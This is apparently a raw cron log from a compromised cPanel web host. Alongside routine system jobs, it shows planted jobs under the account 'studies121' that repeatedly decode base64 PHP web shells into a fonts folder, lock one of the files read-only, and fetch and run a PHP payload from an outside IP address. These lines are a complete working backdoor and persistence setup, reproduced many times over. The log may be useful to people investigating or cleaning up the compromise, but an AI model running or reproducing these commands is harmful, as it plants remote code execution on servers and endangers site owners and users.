Sep  6 16:42:02 ip-184-168-122-23 CROND[31884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:42:02 ip-184-168-122-23 CROND[31881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:42:02 ip-184-168-122-23 CROND[31883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:43:01 ip-184-168-122-23 CROND[31977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:43:01 ip-184-168-122-23 CROND[31979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:43:01 ip-184-168-122-23 CROND[31980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:43:01 ip-184-168-122-23 CROND[31981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:44:01 ip-184-168-122-23 CROND[32068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:44:01 ip-184-168-122-23 CROND[32070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:44:01 ip-184-168-122-23 CROND[32069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:44:01 ip-184-168-122-23 CROND[32075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:44:01 ip-184-168-122-23 CROND[32074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:45:01 ip-184-168-122-23 CROND[32172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:45:01 ip-184-168-122-23 CROND[32174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:45:01 ip-184-168-122-23 CROND[32178]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  6 16:45:01 ip-184-168-122-23 CROND[32177]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:45:01 ip-184-168-122-23 CROND[32179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:45:01 ip-184-168-122-23 CROND[32181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:45:01 ip-184-168-122-23 CROND[32183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:46:01 ip-184-168-122-23 CROND[32287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:46:01 ip-184-168-122-23 CROND[32288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:46:01 ip-184-168-122-23 CROND[32290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:46:01 ip-184-168-122-23 CROND[32293]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 16:46:01 ip-184-168-122-23 CROND[32295]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 16:46:01 ip-184-168-122-23 CROND[32294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:46:02 ip-184-168-122-23 CROND[32298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:47:01 ip-184-168-122-23 CROND[32502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:47:01 ip-184-168-122-23 CROND[32504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:47:01 ip-184-168-122-23 CROND[32505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:47:01 ip-184-168-122-23 CROND[32506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:48:01 ip-184-168-122-23 CROND[32605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:48:01 ip-184-168-122-23 CROND[32606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:48:01 ip-184-168-122-23 CROND[32610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:48:01 ip-184-168-122-23 CROND[32611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:48:01 ip-184-168-122-23 CROND[32613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:49:01 ip-184-168-122-23 CROND[32704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:49:01 ip-184-168-122-23 CROND[32706]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 16:49:01 ip-184-168-122-23 CROND[32710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:49:01 ip-184-168-122-23 CROND[32708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:49:01 ip-184-168-122-23 CROND[32709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:50:01 ip-184-168-122-23 CROND[352]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 16:50:01 ip-184-168-122-23 CROND[357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:50:01 ip-184-168-122-23 CROND[356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:50:01 ip-184-168-122-23 CROND[358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:50:01 ip-184-168-122-23 CROND[362]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 16:50:01 ip-184-168-122-23 CROND[363]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 16:50:01 ip-184-168-122-23 CROND[365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:50:01 ip-184-168-122-23 CROND[367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 16:50:01 ip-184-168-122-23 CROND[368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:51:01 ip-184-168-122-23 CROND[481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:51:01 ip-184-168-122-23 CROND[485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:51:01 ip-184-168-122-23 CROND[484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:51:01 ip-184-168-122-23 CROND[483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:52:01 ip-184-168-122-23 CROND[588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:52:01 ip-184-168-122-23 CROND[589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:52:01 ip-184-168-122-23 CROND[590]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:52:01 ip-184-168-122-23 CROND[592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:52:01 ip-184-168-122-23 CROND[591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:53:01 ip-184-168-122-23 CROND[769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 16:53:01 ip-184-168-122-23 CROND[770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 16:53:01 ip-184-168-122-23 CROND[772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 16:53:01 ip-184-168-122-23 CROND[771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 16:54:01 ip-184-168-122-23 CROND[852]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 16:54:01 ip-184-168-122-23 CROND[853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
